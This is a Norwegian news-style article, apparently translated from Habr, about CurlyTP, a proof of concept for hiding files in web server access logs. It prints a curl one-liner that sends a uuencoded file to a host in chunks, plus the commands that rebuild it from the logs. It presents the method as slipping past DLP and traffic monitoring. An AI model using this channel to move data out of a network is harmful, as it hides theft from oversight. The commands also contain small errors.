Utveksling av hemmelige meldinger via serverlogger

I følge Wikipedia-definisjonen er en døddråpe et konspirasjonsverktøy som tjener til å utveksle informasjon eller noen gjenstander mellom mennesker som bruker et hemmelig sted. Tanken er at folk aldri møtes – men de utveksler likevel informasjon for å opprettholde driftssikkerheten.

Skjulestedet skal ikke vekke oppmerksomhet. Derfor bruker de ofte diskrete ting i offline-verdenen: en løs murstein i veggen, en bibliotekbok eller en huling i et tre.

Det finnes mange krypterings- og anonymiseringsverktøy på Internett, men selve det å bruke disse verktøyene tiltrekker seg oppmerksomhet. I tillegg kan de bli blokkert på bedrifts- eller myndighetsnivå. Hva å gjøre?

Utvikler Ryan Flowers foreslo et interessant alternativ - bruk hvilken som helst webserver som et gjemmested. Hvis du tenker på det, hva gjør en webserver? Mottar forespørsler, utsteder filer og skriver logger. Og den logger alle forespørsler, selv feil!

Det viser seg at enhver nettserver lar deg lagre nesten hvilken som helst melding i loggen. Blomster lurte på hvordan de skulle bruke dette.

Han tilbyr dette alternativet:

  1. Ta en tekstfil (hemmelig melding) og beregn hashen (md5sum).
  2. Vi koder den (gzip+uuencode).
  3. Vi skriver til loggen ved å bruke en bevisst feil forespørsel til serveren.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

For å lese en fil, må du utføre disse operasjonene i omvendt rekkefølge: dekode og pakke ut filen, sjekk hashen (hashen kan trygt overføres over åpne kanaler).

Plasser erstattes med =+=slik at det ikke er mellomrom i adressen. Programmet, som forfatteren kaller CurlyTP, bruker base64-koding, som e-postvedlegg. Forespørselen gjøres med et nøkkelord ?transfer?slik at mottakeren enkelt kan finne den i loggene.

Hva ser vi i loggene i dette tilfellet?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

Som allerede nevnt, for å motta en hemmelig melding må du utføre operasjonene i omvendt rekkefølge:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

Prosessen er enkel å automatisere. Md5sum samsvarer, og innholdet i filen bekrefter at alt ble dekodet riktig.

Metoden er veldig enkel. "Poenget med denne øvelsen er bare å bevise at filer kan overføres gjennom uskyldige små nettforespørsler, og det fungerer på enhver nettserver med ren tekstlogger. I hovedsak er hver webserver et gjemmested!» skriver Flowers.

Metoden fungerer selvfølgelig bare hvis mottakeren har tilgang til serverlogger. Men slik tilgang tilbys for eksempel av mange hostere.

Hvordan bruke det?

Ryan Flowers sier at han ikke er en informasjonssikkerhetsekspert og vil ikke kompilere en liste over mulige bruksområder for CurlyTP. For ham er det bare et proof of concept at de kjente verktøyene vi ser hver dag kan brukes på en ukonvensjonell måte.

Faktisk har denne metoden en rekke fordeler i forhold til andre server-"skjul" som Digital Dead Drop eller PirateBox: det krever ikke spesiell konfigurasjon på serversiden eller noen spesielle protokoller – og vil ikke vekke mistanke blant de som overvåker trafikken. Det er usannsynlig at et SORM- eller DLP-system vil skanne URL-er for komprimerte tekstfiler.

Dette er en av måtene å overføre meldinger gjennom tjenestefiler. Du kan huske hvordan noen avanserte selskaper pleide å plassere Utviklerjobber i HTTP-hoder eller i koden til HTML-sider.

Utveksling av hemmelige meldinger via serverlogger

Tanken var at bare nettutviklere skulle se dette påskeegget, siden en normal person ikke ville se på overskriftene eller HTML-koden.

Utveksling av hemmelige meldinger via serverlogger

Kilde: www.habr.com

Legg til en kommentar